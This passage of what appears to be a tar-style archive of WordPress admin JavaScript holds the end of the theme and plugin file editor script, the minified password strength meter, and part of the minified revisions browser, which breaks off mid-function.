'.file-editor-warning-message' ).text(); // Hide all the #wpwrap content from assistive technologies. $( '#wpwrap' ).attr( 'aria-hidden', 'true' ); // Detach the warning modal from its position and append it to the body. $( document.body ) .addClass( 'modal-open' ) .append( component.warning.detach() ); // Reveal the modal and set focus on the go back button. component.warning .removeClass( 'hidden' ) .find( '.file-editor-warning-go-back' ).trigger( 'focus' ); // Get the links and buttons within the modal. component.warningTabbables = component.warning.find( 'a, button' ); // Attach event handlers. component.warningTabbables.on( 'keydown', component.constrainTabbing ); component.warning.on( 'click', '.file-editor-warning-dismiss', component.dismissWarning ); // Make screen readers announce the warning message after a short delay (necessary for some screen readers). setTimeout( function() { wp.a11y.speak( wp.sanitize.stripTags( rawMessage.replace( /\s+/g, ' ' ) ), 'assertive' ); }, 1000 ); }; /** * Constrain tabbing within the warning modal. * * @since 4.9.0 * @param {Object} event jQuery event object. * @return {void} */ component.constrainTabbing = function( event ) { var firstTabbable, lastTabbable; if ( 9 !== event.which ) { return; } firstTabbable = component.warningTabbables.first()[0]; lastTabbable = component.warningTabbables.last()[0]; if ( lastTabbable === event.target && ! event.shiftKey ) { firstTabbable.focus(); event.preventDefault(); } else if ( firstTabbable === event.target && event.shiftKey ) { lastTabbable.focus(); event.preventDefault(); } }; /** * Dismiss the warning modal. * * @since 4.9.0 * @return {void} */ component.dismissWarning = function() { wp.ajax.post( 'dismiss-wp-pointer', { pointer: component.themeOrPlugin + '_editor_notice' }); // Hide modal. component.warning.remove(); $( '#wpwrap' ).removeAttr( 'aria-hidden' ); $( 'body' ).removeClass( 'modal-open' ); }; /** * Callback for when a change happens. * * @since 4.9.0 * @return {void} */ component.onChange = function() { component.dirty = true; component.removeNotice( 'file_saved' ); }; /** * Submit file via Ajax. * * @since 4.9.0 * @param {jQuery.Event} event - Event. * @return {void} */ component.submit = function( event ) { var data = {}, request; event.preventDefault(); // Prevent form submission in favor of Ajax below. $.each( component.form.serializeArray(), function() { data[ this.name ] = this.value; } ); // Use value from codemirror if present. if ( component.instance ) { data.newcontent = component.instance.codemirror.getValue(); } if ( component.isSaving ) { return; } // Scroll to the line that has the error. if ( component.lintErrors.length ) { component.instance.codemirror.setCursor( component.lintErrors[0].from.line ); return; } component.isSaving = true; component.textarea.prop( 'readonly', true ); if ( component.instance ) { component.instance.codemirror.setOption( 'readOnly', true ); } component.spinner.addClass( 'is-active' ); request = wp.ajax.post( 'edit-theme-plugin-file', data ); // Remove previous save notice before saving. if ( component.lastSaveNoticeCode ) { component.removeNotice( component.lastSaveNoticeCode ); } request.done( function( response ) { component.lastSaveNoticeCode = 'file_saved'; component.addNotice({ code: component.lastSaveNoticeCode, type: 'success', message: response.message, dismissible: true }); component.dirty = false; } ); request.fail( function( response ) { var notice = $.extend( { code: 'save_error', message: __( 'An error occurred while saving your changes. Please try again. If the problem persists, you may need to manually update the file via FTP.' ) }, response, { type: 'error', dismissible: true } ); component.lastSaveNoticeCode = notice.code; component.addNotice( notice ); } ); request.always( function() { component.spinner.removeClass( 'is-active' ); component.isSaving = false; component.textarea.prop( 'readonly', false ); if ( component.instance ) { component.instance.codemirror.setOption( 'readOnly', false ); } } ); }; /** * Add notice. * * @since 4.9.0 * * @param {Object} notice - Notice. * @param {string} notice.code - Code. * @param {string} notice.type - Type. * @param {string} notice.message - Message. * @param {boolean} [notice.dismissible=false] - Dismissible. * @param {Function} [notice.onDismiss] - Callback for when a user dismisses the notice. * @return {jQuery} Notice element. */ component.addNotice = function( notice ) { var noticeElement; if ( ! notice.code ) { throw new Error( 'Missing code.' ); } // Only let one notice of a given type be displayed at a time. component.removeNotice( notice.code ); noticeElement = $( component.noticeTemplate( notice ) ); noticeElement.hide(); noticeElement.find( '.notice-dismiss' ).on( 'click', function() { component.removeNotice( notice.code ); if ( notice.onDismiss ) { notice.onDismiss( notice ); } } ); wp.a11y.speak( notice.message ); component.noticesContainer.append( noticeElement ); noticeElement.slideDown( 'fast' ); component.noticeElements[ notice.code ] = noticeElement; return noticeElement; }; /** * Remove notice. * * @since 4.9.0 * * @param {string} code - Notice code. * @return {boolean} Whether a notice was removed. */ component.removeNotice = function( code ) { if ( component.noticeElements[ code ] ) { component.noticeElements[ code ].slideUp( 'fast', function() { $( this ).remove(); } ); delete component.noticeElements[ code ]; return true; } return false; }; /** * Initialize code editor. * * @since 4.9.0 * @return {void} */ component.initCodeEditor = function initCodeEditor() { var codeEditorSettings, editor; codeEditorSettings = $.extend( {}, component.codeEditor ); /** * Handle tabbing to the field before the editor. * * @since 4.9.0 * * @return {void} */ codeEditorSettings.onTabPrevious = function() { $( '#templateside' ).find( ':tabbable' ).last().trigger( 'focus' ); }; /** * Handle tabbing to the field after the editor. * * @since 4.9.0 * * @return {void} */ codeEditorSettings.onTabNext = function() { $( '#template' ).find( ':tabbable:not(.CodeMirror-code)' ).first().trigger( 'focus' ); }; /** * Handle change to the linting errors. * * @since 4.9.0 * * @param {Array} errors - List of linting errors. * @return {void} */ codeEditorSettings.onChangeLintingErrors = function( errors ) { component.lintErrors = errors; // Only disable the button in onUpdateErrorNotice when there are errors so users can still feel they can click the button. if ( 0 === errors.length ) { component.submitButton.toggleClass( 'disabled', false ); } }; /** * Update error notice. * * @since 4.9.0 * * @param {Array} errorAnnotations - Error annotations. * @return {void} */ codeEditorSettings.onUpdateErrorNotice = function onUpdateErrorNotice( errorAnnotations ) { var noticeElement; component.submitButton.toggleClass( 'disabled', errorAnnotations.length > 0 ); if ( 0 !== errorAnnotations.length ) { noticeElement = component.addNotice({ code: 'lint_errors', type: 'error', message: sprintf( /* translators: %s: Error count. */ _n( 'There is %s error which must be fixed before you can update this file.', 'There are %s errors which must be fixed before you can update this file.', errorAnnotations.length ), String( errorAnnotations.length ) ), dismissible: false }); noticeElement.find( 'input[type=checkbox]' ).on( 'click', function() { codeEditorSettings.onChangeLintingErrors( [] ); component.removeNotice( 'lint_errors' ); } ); } else { component.removeNotice( 'lint_errors' ); } }; editor = wp.codeEditor.initialize( $( '#newcontent' ), codeEditorSettings ); editor.codemirror.on( 'change', component.onChange ); // Improve the editor accessibility. $( editor.codemirror.display.lineDiv ) .attr({ role: 'textbox', 'aria-multiline': 'true', 'aria-labelledby': 'theme-plugin-editor-label', 'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4' }); // Focus the editor when clicking on its label. $( '#theme-plugin-editor-label' ).on( 'click', function() { editor.codemirror.focus(); }); component.instance = editor; }; /** * Initialization of the file browser's folder states. * * @since 4.9.0 * @return {void} */ component.initFileBrowser = function initFileBrowser() { var $templateside = $( '#templateside' ); // Collapse all folders. $templateside.find( '[role="group"]' ).parent().attr( 'aria-expanded', false ); // Expand ancestors to the current file. $templateside.find( '.notice' ).parents( '[aria-expanded]' ).attr( 'aria-expanded', true ); // Find Tree elements and enhance them. $templateside.find( '[role="tree"]' ).each( function() { var treeLinks = new TreeLinks( this ); treeLinks.init(); } ); // Scroll the current file into view. $templateside.find( '.current-file:first' ).each( function() { if ( this.scrollIntoViewIfNeeded ) { this.scrollIntoViewIfNeeded(); } else { this.scrollIntoView( false ); } } ); }; /* jshint ignore:start */ /* jscs:disable */ /* eslint-disable */ /** * Creates a new TreeitemLink. * * @since 4.9.0 * @class * @private * @see {@link https://www.w3.org/TR/wai-aria-practices-1.1/examples/treeview/treeview-2/treeview-2b.html|W3C Treeview Example} * @license W3C-20150513 */ var TreeitemLink = (function () { /** * This content is licensed according to the W3C Software License at * https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document * * File: TreeitemLink.js * * Desc: Treeitem widget that implements ARIA Authoring Practices * for a tree being used as a file viewer * * Author: Jon Gunderson, Ku Ja Eun and Nicholas Hoyt */ /** * @constructor * * @desc * Treeitem object for representing the state and user interactions for a * treeItem widget * * @param node * An element with the role=tree attribute */ var TreeitemLink = function (node, treeObj, group) { // Check whether node is a DOM element. if (typeof node !== 'object') { return; } node.tabIndex = -1; this.tree = treeObj; this.groupTreeitem = group; this.domNode = node; this.label = node.textContent.trim(); this.stopDefaultClick = false; if (node.getAttribute('aria-label')) { this.label = node.getAttribute('aria-label').trim(); } this.isExpandable = false; this.isVisible = false; this.inGroup = false; if (group) { this.inGroup = true; } var elem = node.firstElementChild; while (elem) { if (elem.tagName.toLowerCase() == 'ul') { elem.setAttribute('role', 'group'); this.isExpandable = true; break; } elem = elem.nextElementSibling; } this.keyCode = Object.freeze({ RETURN: 13, SPACE: 32, PAGEUP: 33, PAGEDOWN: 34, END: 35, HOME: 36, LEFT: 37, UP: 38, RIGHT: 39, DOWN: 40 }); }; TreeitemLink.prototype.init = function () { this.domNode.tabIndex = -1; if (!this.domNode.getAttribute('role')) { this.domNode.setAttribute('role', 'treeitem'); } this.domNode.addEventListener('keydown', this.handleKeydown.bind(this)); this.domNode.addEventListener('click', this.handleClick.bind(this)); this.domNode.addEventListener('focus', this.handleFocus.bind(this)); this.domNode.addEventListener('blur', this.handleBlur.bind(this)); if (this.isExpandable) { this.domNode.firstElementChild.addEventListener('mouseover', this.handleMouseOver.bind(this)); this.domNode.firstElementChild.addEventListener('mouseout', this.handleMouseOut.bind(this)); } else { this.domNode.addEventListener('mouseover', this.handleMouseOver.bind(this)); this.domNode.addEventListener('mouseout', this.handleMouseOut.bind(this)); } }; TreeitemLink.prototype.isExpanded = function () { if (this.isExpandable) { return this.domNode.getAttribute('aria-expanded') === 'true'; } return false; }; /* EVENT HANDLERS */ TreeitemLink.prototype.handleKeydown = function (event) { var tgt = event.currentTarget, flag = false, _char = event.key, clickEvent; function isPrintableCharacter(str) { return str.length === 1 && str.match(/\S/); } function printableCharacter(item) { if (_char == '*') { item.tree.expandAllSiblingItems(item); flag = true; } else { if (isPrintableCharacter(_char)) { item.tree.setFocusByFirstCharacter(item, _char); flag = true; } } } this.stopDefaultClick = false; if (event.altKey || event.ctrlKey || event.metaKey) { return; } if (event.shift) { if (event.keyCode == this.keyCode.SPACE || event.keyCode == this.keyCode.RETURN) { event.stopPropagation(); this.stopDefaultClick = true; } else { if (isPrintableCharacter(_char)) { printableCharacter(this); } } } else { switch (event.keyCode) { case this.keyCode.SPACE: case this.keyCode.RETURN: if (this.isExpandable) { if (this.isExpanded()) { this.tree.collapseTreeitem(this); } else { this.tree.expandTreeitem(this); } flag = true; } else { event.stopPropagation(); this.stopDefaultClick = true; } break; case this.keyCode.UP: this.tree.setFocusToPreviousItem(this); flag = true; break; case this.keyCode.DOWN: this.tree.setFocusToNextItem(this); flag = true; break; case this.keyCode.RIGHT: if (this.isExpandable) { if (this.isExpanded()) { this.tree.setFocusToNextItem(this); } else { this.tree.expandTreeitem(this); } } flag = true; break; case this.keyCode.LEFT: if (this.isExpandable && this.isExpanded()) { this.tree.collapseTreeitem(this); flag = true; } else { if (this.inGroup) { this.tree.setFocusToParentItem(this); flag = true; } } break; case this.keyCode.HOME: this.tree.setFocusToFirstItem(); flag = true; break; case this.keyCode.END: this.tree.setFocusToLastItem(); flag = true; break; default: if (isPrintableCharacter(_char)) { printableCharacter(this); } break; } } if (flag) { event.stopPropagation(); event.preventDefault(); } }; TreeitemLink.prototype.handleClick = function (event) { // Only process click events that directly happened on this treeitem. if (event.target !== this.domNode && event.target !== this.domNode.firstElementChild) { return; } if (this.isExpandable) { if (this.isExpanded()) { this.tree.collapseTreeitem(this); } else { this.tree.expandTreeitem(this); } event.stopPropagation(); } }; TreeitemLink.prototype.handleFocus = function (event) { var node = this.domNode; if (this.isExpandable) { node = node.firstElementChild; } node.classList.add('focus'); }; TreeitemLink.prototype.handleBlur = function (event) { var node = this.domNode; if (this.isExpandable) { node = node.firstElementChild; } node.classList.remove('focus'); }; TreeitemLink.prototype.handleMouseOver = function (event) { event.currentTarget.classList.add('hover'); }; TreeitemLink.prototype.handleMouseOut = function (event) { event.currentTarget.classList.remove('hover'); }; return TreeitemLink; })(); /** * Creates a new TreeLinks. * * @since 4.9.0 * @class * @private * @see {@link https://www.w3.org/TR/wai-aria-practices-1.1/examples/treeview/treeview-2/treeview-2b.html|W3C Treeview Example} * @license W3C-20150513 */ TreeLinks = (function () { /* * This content is licensed according to the W3C Software License at * https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document * * File: TreeLinks.js * * Desc: Tree widget that implements ARIA Authoring Practices * for a tree being used as a file viewer * * Author: Jon Gunderson, Ku Ja Eun and Nicholas Hoyt */ /* * @constructor * * @desc * Tree item object for representing the state and user interactions for a * tree widget * * @param node * An element with the role=tree attribute */ var TreeLinks = function (node) { // Check whether node is a DOM element. if (typeof node !== 'object') { return; } this.domNode = node; this.treeitems = []; this.firstChars = []; this.firstTreeitem = null; this.lastTreeitem = null; }; TreeLinks.prototype.init = function () { function findTreeitems(node, tree, group) { var elem = node.firstElementChild; var ti = group; while (elem) { if ((elem.tagName.toLowerCase() === 'li' && elem.firstElementChild.tagName.toLowerCase() === 'span') || elem.tagName.toLowerCase() === 'a') { ti = new TreeitemLink(elem, tree, group); ti.init(); tree.treeitems.push(ti); tree.firstChars.push(ti.label.substring(0, 1).toLowerCase()); } if (elem.firstElementChild) { findTreeitems(elem, tree, ti); } elem = elem.nextElementSibling; } } // Initialize pop up menus. if (!this.domNode.getAttribute('role')) { this.domNode.setAttribute('role', 'tree'); } findTreeitems(this.domNode, this, false); this.updateVisibleTreeitems(); this.firstTreeitem.domNode.tabIndex = 0; }; TreeLinks.prototype.setFocusToItem = function (treeitem) { for (var i = 0; i < this.treeitems.length; i++) { var ti = this.treeitems[i]; if (ti === treeitem) { ti.domNode.tabIndex = 0; ti.domNode.focus(); } else { ti.domNode.tabIndex = -1; } } }; TreeLinks.prototype.setFocusToNextItem = function (currentItem) { var nextItem = false; for (var i = (this.treeitems.length - 1); i >= 0; i--) { var ti = this.treeitems[i]; if (ti === currentItem) { break; } if (ti.isVisible) { nextItem = ti; } } if (nextItem) { this.setFocusToItem(nextItem); } }; TreeLinks.prototype.setFocusToPreviousItem = function (currentItem) { var prevItem = false; for (var i = 0; i < this.treeitems.length; i++) { var ti = this.treeitems[i]; if (ti === currentItem) { break; } if (ti.isVisible) { prevItem = ti; } } if (prevItem) { this.setFocusToItem(prevItem); } }; TreeLinks.prototype.setFocusToParentItem = function (currentItem) { if (currentItem.groupTreeitem) { this.setFocusToItem(currentItem.groupTreeitem); } }; TreeLinks.prototype.setFocusToFirstItem = function () { this.setFocusToItem(this.firstTreeitem); }; TreeLinks.prototype.setFocusToLastItem = function () { this.setFocusToItem(this.lastTreeitem); }; TreeLinks.prototype.expandTreeitem = function (currentItem) { if (currentItem.isExpandable) { currentItem.domNode.setAttribute('aria-expanded', true); this.updateVisibleTreeitems(); } }; TreeLinks.prototype.expandAllSiblingItems = function (currentItem) { for (var i = 0; i < this.treeitems.length; i++) { var ti = this.treeitems[i]; if ((ti.groupTreeitem === currentItem.groupTreeitem) && ti.isExpandable) { this.expandTreeitem(ti); } } }; TreeLinks.prototype.collapseTreeitem = function (currentItem) { var groupTreeitem = false; if (currentItem.isExpanded()) { groupTreeitem = currentItem; } else { groupTreeitem = currentItem.groupTreeitem; } if (groupTreeitem) { groupTreeitem.domNode.setAttribute('aria-expanded', false); this.updateVisibleTreeitems(); this.setFocusToItem(groupTreeitem); } }; TreeLinks.prototype.updateVisibleTreeitems = function () { this.firstTreeitem = this.treeitems[0]; for (var i = 0; i < this.treeitems.length; i++) { var ti = this.treeitems[i]; var parent = ti.domNode.parentNode; ti.isVisible = true; while (parent && (parent !== this.domNode)) { if (parent.getAttribute('aria-expanded') == 'false') { ti.isVisible = false; } parent = parent.parentNode; } if (ti.isVisible) { this.lastTreeitem = ti; } } }; TreeLinks.prototype.setFocusByFirstCharacter = function (currentItem, _char) { var start, index; _char = _char.toLowerCase(); // Get start index for search based on position of currentItem. start = this.treeitems.indexOf(currentItem) + 1; if (start === this.treeitems.length) { start = 0; } // Check remaining slots in the menu. index = this.getIndexFirstChars(start, _char); // If not found in remaining slots, check from beginning. if (index === -1) { index = this.getIndexFirstChars(0, _char); } // If match was found... if (index > -1) { this.setFocusToItem(this.treeitems[index]); } }; TreeLinks.prototype.getIndexFirstChars = function (startIndex, _char) { for (var i = startIndex; i < this.firstChars.length; i++) { if (this.treeitems[i].isVisible) { if (_char === this.firstChars[i]) { return i; } } } return -1; }; return TreeLinks; })(); /* jshint ignore:end */ /* jscs:enable */ /* eslint-enable */ return component; })( jQuery ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 4.9.0 * @deprecated 5.5.0 * * @type {object} */ wp.themePluginEditor.l10n = wp.themePluginEditor.l10n || { saveAlert: '', saveError: '', lintError: { alternative: 'wp.i18n', func: function() { return { singular: '', plural: '' }; } } }; wp.themePluginEditor.l10n = window.wp.deprecateL10nObject( 'wp.themePluginEditor.l10n', wp.themePluginEditor.l10n, '5.5.0' ); password-strength-meter.min.js 0000644 00000002143 15174417325 0012505 0 ustar 00 /*! This file is auto-generated */ window.wp=window.wp||{},function(a){var e=wp.i18n.__,n=wp.i18n.sprintf;wp.passwordStrength={meter:function(e,n,t){return Array.isArray(n)||(n=[n.toString()]),e!=t&&t&&0<t.length?5:void 0===window.zxcvbn?-1:zxcvbn(e,n).score},userInputBlacklist:function(){return window.console.log(n(e("%1$s is deprecated since version %2$s! Use %3$s instead. Please consider writing more inclusive code."),"wp.passwordStrength.userInputBlacklist()","5.5.0","wp.passwordStrength.userInputDisallowedList()")),wp.passwordStrength.userInputDisallowedList()},userInputDisallowedList:function(){var e,n,t,r,s=[],i=[],o=["user_login","first_name","last_name","nickname","display_name","email","url","description","weblog_title","admin_email"];for(s.push(document.title),s.push(document.URL),n=o.length,e=0;e<n;e++)0!==(r=a("#"+o[e])).length&&(s.push(r[0].defaultValue),s.push(r.val()));for(t=s.length,e=0;e<t;e++)s[e]&&(i=i.concat(s[e].replace(/\W/g," ").split(" ")));return i=a.grep(i,function(e,n){return!(""===e||e.length<4)&&a.inArray(e,i)===n})}},window.passwordStrength=wp.passwordStrength.meter}(jQuery); revisions.min.js 0000644 00000043741 15174417325 0007727 0 ustar 00 /*! This file is auto-generated */ window.wp=window.wp||{},function(a){var s=wp.revisions={model:{},view:{},controller:{}};s.settings=window._wpRevisionsSettings||{},s.debug=!1,s.log=function(){window.console&&s.debug&&window.console.log.apply(window.console,arguments)},a.fn.allOffsets=function(){var e=this.offset()||{top:0,left:0},i=a(window);return _.extend(e,{right:i.width()-e.left-this.outerWidth(),bottom:i.height()-e.top-this.outerHeight()})},a.fn.allPositions=function(){var e=this.position()||{top:0,left:0},i=this.parent();return _.extend(e,{right:i.outerWidth()-e.left-this.outerWidth(),bottom:i.outerHeight()-e.top-this.outerHeight()})},s.model.Slider=Backbone.Model.extend({defaults:{value:null,values:null,min:0,max:1,step:1,range:!1,compareTwoMode:!1},initialize:function(e){this.frame=e.frame,this.revisions=e.revisions,this.listenTo(this.frame,"update:revisions",this.receiveRevisions),this.listenTo(this.frame,"change:compareTwoMode",this.updateMode),this.on("change:from",this.handleLocalChanges),this.on("change:to",this.handleLocalChanges),this.on("change:compareTwoMode",this.updateSliderSettings),this.on("update:revisions",this.updateSliderSettings),this.on("change:hoveredRevision",this.hoverRevision),this.set({max:this.revisions.length-1,compareTwoMode:this.frame.get("compareTwoMode"),from:this.frame.get("from"),to:this.frame.get("to")}),this.updateSliderSettings()},getSliderValue:function(e,i){return isRtl?this.revisions.length-this.revisions.indexOf(this.get(e))-1:this.revisions.indexOf(this.get(i))},updateSliderSettings:function(){this.get("compareTwoMode")?this.set({values:[this.getSliderValue("to","from"),this.getSliderValue("from","to")],value:null,range:!0}):this.set({value:this.getSliderValue("to","to"),values:null,range:!1}),this.trigger("update:slider")},hoverRevision:function(e,i){this.trigger("hovered:revision",i)},updateMode:function(e,i){this.set({compareTwoMode:i})},handleLocalChanges:function(){this.frame.set({from:this.get("from"),to:this.get("to")})},receiveRevisions:function(e,i){this.get("from")===e&&this.get("to")===i||(this.set({from:e,to:i},{silent:!0}),this.trigger("update:revisions",e,i))}}),s.model.Tooltip=Backbone.Model.extend({defaults:{revision:null,offset:{},hovering:!1,scrubbing:!1},initialize:function(e){this.frame=e.frame,this.revisions=e.revisions,this.slider=e.slider,this.listenTo(this.slider,"hovered:revision",this.updateRevision),this.listenTo(this.slider,"change:hovering",this.setHovering),this.listenTo(this.slider,"change:scrubbing",this.setScrubbing)},updateRevision:function(e){this.set({revision:e})},setHovering:function(e,i){this.set({hovering:i})},setScrubbing:function(e,i){this.set({scrubbing:i})}}),s.model.Revision=Backbone.Model.extend({}),s.model.Revisions=Backbone.Collection.extend({model:s.model.Revision,initialize:function(){_.bindAll(this,"next","prev")},next:function(e){e=this.indexOf(e);if(-1!==e&&e!==this.length-1)return this.at(e+1)},prev:function(e){e=this.indexOf(e);if(-1!==e&&0!==e)return this.at(e-1)}}),s.model.Field=Backbone.Model.extend({}),s.model.Fields=Backbone.Collection.extend({model:s.model.Field}),s.model.Diff=Backbone.Model.extend({initialize:function(){var e=this.get("fields");this.unset("fields"),this.fields=new s.model.Fields(e)}}),s.model.Diffs=Backbone.Collection.extend({initialize:function(e,i){_.bindAll(this,"getClosestUnloaded"),this.loadAll=_.once(this._loadAll),this.revisions=i.revisions,this.postId=i.postId,this.requests={}},model:s.model.Diff,ensure:function(e,i){var t=this.get(e),s=this.requests[e],o=a.Deferred(),n={},r=e.split(":")[0],l=e.split(":")[1];return n[e]=!0,wp.revisions.log("ensure",e),this.trigger("ensure",n,r,l,o.promise()),t?o.resolveWith(i,[t]):(this.trigger("ensure:load",n,r,l,o.promise()),_.each(n,_.bind(function(e){this.requests[e]&&delete n[e],this.get(e)&&delete n[e]},this)),s||(n[e]=!0,s=this.load(_.keys(n))),s.done(_.bind(function(){o.resolveWith(i,[this.get(e)])},this)).fail(_.bind(function(){o.reject()}))),o.promise()},getClosestUnloaded:function(e,i){var t=this;return _.chain([0].concat(e)).initial().zip(e).sortBy(function(e){return Math.abs(i-e[1])}).map(function(e){return e.join(":")}).filter(function(e){return _.isUndefined(t.get(e))&&!t.requests[e]}).value()},_loadAll:function(e,i,t){var s=this,o=a.Deferred(),n=_.first(this.getClosestUnloaded(e,i),t);return 0<_.size(n)?this.load(n).done(function(){s._loadAll(e,i,t).done(function(){o.resolve()})}).fail(function(){1===t?o.reject():s._loadAll(e,i,Math.ceil(t/2)).done(function(){o.resolve()})}):o.resolve(),o},load:function(e){return wp.revisions.log("load",e),this.fetch({data:{compare:e},remove:!1}).done(function(){wp.revisions.log("load:complete",e)})},sync:function(e,i,t){var s,o;return"read"===e?((t=t||{}).context=this,t.data=_.extend(t.data||{},{action:"get-revision-diffs",post_id:this.postId}),s=wp.ajax.send(t),o=this.requests,t.data.compare&&_.each(t.data.compare,function(e){o[e]=s}),s.always(function(){t.data.compare&&_.each(t.data.compare,function(e){delete o[e]})}),s):Backbone.Model.prototype.sync.apply(this,arguments)}}),s.model.FrameState=Backbone.Model.extend({defaults:{loading:!1,error:!1,compareTwoMode:!1},initialize:function(e,i){var t=this.get("initialDiffState");_.bindAll(this,"receiveDiff"),this._debouncedEnsureDiff=_.debounce(this._ensureDiff,200),this.revisions=i.revisions,this.diffs=new s.model.Diffs([],{revisions:this.revisions,postId:this.get("postId")}),this.diffs.set(this.get("diffData")),this.listenTo(this,"change:from",this.changeRevisionHandler),this.listenTo(this,"change:to",this.changeRevisionHandler),this.listenTo(this,"change:compareTwoMode",this.changeMode),this.listenTo(this,"update:revisions",this.updatedRevisions),this.listenTo(this.diffs,"ensure:load",this.updateLoadingStatus),this.listenTo(this,"update:diff",this.updateLoadingStatus),this.set({to:this.revisions.get(t.to),from:this.revisions.get(t.from),compareTwoMode:t.compareTwoMode}),window.history&&window.history.pushState&&(this.router=new s.Router({model:this}),Backbone.History.started&&Backbone.history.stop(),Backbone.history.start({pushState:!0}))},updateLoadingStatus:function(){this.set("error",!1),this.set("loading",!this.diff())},changeMode:function(e,i){var t=this.revisions.indexOf(this.get("to"));i&&0===t&&this.set({from:this.revisions.at(t),to:this.revisions.at(t+1)}),i||0===t||this.set({from:this.revisions.at(t-1),to:this.revisions.at(t)})},updatedRevisions:function(e,i){this.get("compareTwoMode")||this.diffs.loadAll(this.revisions.pluck("id"),i.id,40)},diff:function(){return this.diffs.get(this._diffId)},updateDiff:function(e){var i,t,s;return e=e||{},s=this.get("from"),i=this.get("to"),t=(s?s.id:0)+":"+i.id,this._diffId===t?a.Deferred().reject().promise():(this._diffId=t,this.trigger("update:revisions",s,i),(s=this.diffs.get(t))?(this.receiveDiff(s),a.Deferred().resolve().promise()):e.immediate?this._ensureDiff():(this._debouncedEnsureDiff(),a.Deferred().reject().promise()))},changeRevisionHandler:function(){this.updateDiff()},receiveDiff:function(e){_.isUndefined(e)||_.isUndefined(e.id)?this.set({loading:!1,error:!0}):this._diffId===e.id&&this.trigger("update:diff",e)},_ensureDiff:function(){return this.diffs.ensure(this._diffId,this).always(this.receiveDiff)}}),s.view.Frame=wp.Backbone.View.extend({className:"revisions",template:wp.template("revisions-frame"),initialize:function(){this.listenTo(this.model,"update:diff",this.renderDiff),this.listenTo(this.model,"change:compareTwoMode",this.updateCompareTwoMode),this.listenTo(this.model,"change:loading",this.updateLoadingStatus),this.listenTo(this.model,"change:error",this.updateErrorStatus),this.views.set(".revisions-control-frame",new s.view.Controls({model:this.model}))},render:function(){return wp.Backbone.View.prototype.render.apply(this,arguments),a("html").css("overflow-y","scroll"),a("#wpbody-content .wrap").append(this.el),this.updateCompareTwoMode(),this.renderDiff(this.model.diff()),this.views.ready(),this},renderDiff:function(e){this.views.set(".revisions-diff-frame",new s.view.Diff({model:e}))},updateLoadingStatus:function(){this.$el.toggleClass("loading",this.model.get("loading"))},updateErrorStatus:function(){this.$el.toggleClass("diff-error",this.model.get("error"))},updateCompareTwoMode:function(){this.$el.toggleClass("comparing-two-revisions",this.model.get("compareTwoMode"))}}),s.view.Controls=wp.Backbone.View.extend({className:"revisions-controls",initialize:function(){_.bindAll(this,"setWidth"),this.views.add(new s.view.Checkbox({model:this.model})),this.views.add(new s.view.Buttons({model:this.model}));var e=new s.model.Slider({frame:this.model,revisions:this.model.revisions}),i=new s.model.Tooltip({frame:this.model,revisions:this.model.revisions,slider:e});this.views.add(new s.view.Tooltip({model:i})),this.views.add(new s.view.Tickmarks({model:i})),this.views.add(new s.view.SliderHelp),this.views.add(new s.view.Slider({model:e})),this.views.add(new s.view.Metabox({model:this.model}))},ready:function(){this.top=this.$el.offset().top,this.window=a(window),this.window.on("scroll.wp.revisions",{controls:this},function(e){var e=e.data.controls,i=e.$el.parent(),t=e.window.scrollTop(),s=e.views.parent;t>=e.top?(s.$el.hasClass("pinned")||(e.setWidth(),i.css("height",i.height()+"px"),e.window.on("resize.wp.revisions.pinning click.wp.revisions.pinning",{controls:e},function(e){e.data.controls.setWidth()})),s.$el.addClass("pinned")):(s.$el.hasClass("pinned")&&(e.window.off(".wp.revisions.pinning"),e.$el.css("width","auto"),s.$el.removeClass("pinned"),i.css("height","auto")),e.top=e.$el.offset().top)})},setWidth:function(){this.$el.css("width",this.$el.parent().width()+"px")}}),s.view.Tickmarks=wp.Backbone.View.extend({className:"revisions-tickmarks",direction:isRtl?"right":"left",initialize:function(){this.listenTo(this.model,"change:revision",this.reportTickPosition)},reportTickPosition:function(e,i){var t,i=this.model.revisions.indexOf(i),s=this.$el.allOffsets(),o=this.$el.parent().allOffsets();i===this.model.revisions.length-1?t={rightPlusWidth:s.left-o.left+1,leftPlusWidth:s.right-o.right+1}:(t=(i=this.$("div:nth-of-type("+(i+1)+")")).allPositions(),_.extend(t,{left:t.left+s.left-o.left,right:t.right+s.right-o.right}),_.extend(t,{leftPlusWidth:t.left+i.outerWidth(),rightPlusWidth:t.right+i.outerWidth()})),this.model.set({offset:t})},ready:function(){var e=this.model.revisions.length-1,i=1/e;this.$el.css("width",50*this.model.revisions.length+"px"),_(e).times(function(e){this.$el.append('<div style="'+this.direction+": "+100*i*e+'%"></div>')},this)}}),s.view.Metabox=wp.Backbone.View.extend({className:"revisions-meta",initialize:function(){this.views.add(new s.view.MetaFrom({model:this.model,className:"diff-meta diff-meta-from"})),this.views.add(new s.view.MetaTo({model:this.model}))}}),s.view.Meta=wp.Backbone.View.extend({template:wp.template("revisions-meta"),events:{"click .restore-revision":"restoreRevision"},initialize:function(){this.listenTo(this.model,"update:revisions",this.render)},prepare:function(){return _.extend(this.model.toJSON()[this.type]||{},{type:this.type})},restoreRevision:function(){document.location=this.model.get("to").attributes.restoreUrl}}),s.view.MetaFrom=s.view.Meta.extend({className:"diff-meta diff-meta-from",type:"from"}),s.view.MetaTo=s.view.Meta.extend({className:"diff-meta diff-meta-to",type:"to"}),s.view.Checkbox=wp.Backbone.View.extend({className:"revisions-checkbox",template:wp.template("revisions-checkbox"),events:{"click .compare-two-revisions":"compareTwoToggle"},initialize:function(){this.listenTo(this.model,"change:compareTwoMode",this.updateCompareTwoMode)},ready:function(){this.model.revisions.length<3&&a(".revision-toggle-compare-mode").hide()},updateCompareTwoMode:function(){this.$(".compare-two-revisions").prop("checked",this.model.get("compareTwoMode"))},compareTwoToggle:function(){this.model.set({compareTwoMode:a(".compare-two-revisions").prop("checked")})}}),s.view.SliderHelp=wp.Backbone.View.extend({className:"revisions-slider-hidden-help",template:wp.template("revisions-slider-hidden-help")}),s.view.Tooltip=wp.Backbone.View.extend({className:"revisions-tooltip",template:wp.template("revisions-meta"),initialize:function(){this.listenTo(this.model,"change:offset",this.render),this.listenTo(this.model,"change:hovering",this.toggleVisibility),this.listenTo(this.model,"change:scrubbing",this.toggleVisibility)},prepare:function(){if(!_.isNull(this.model.get("revision")))return 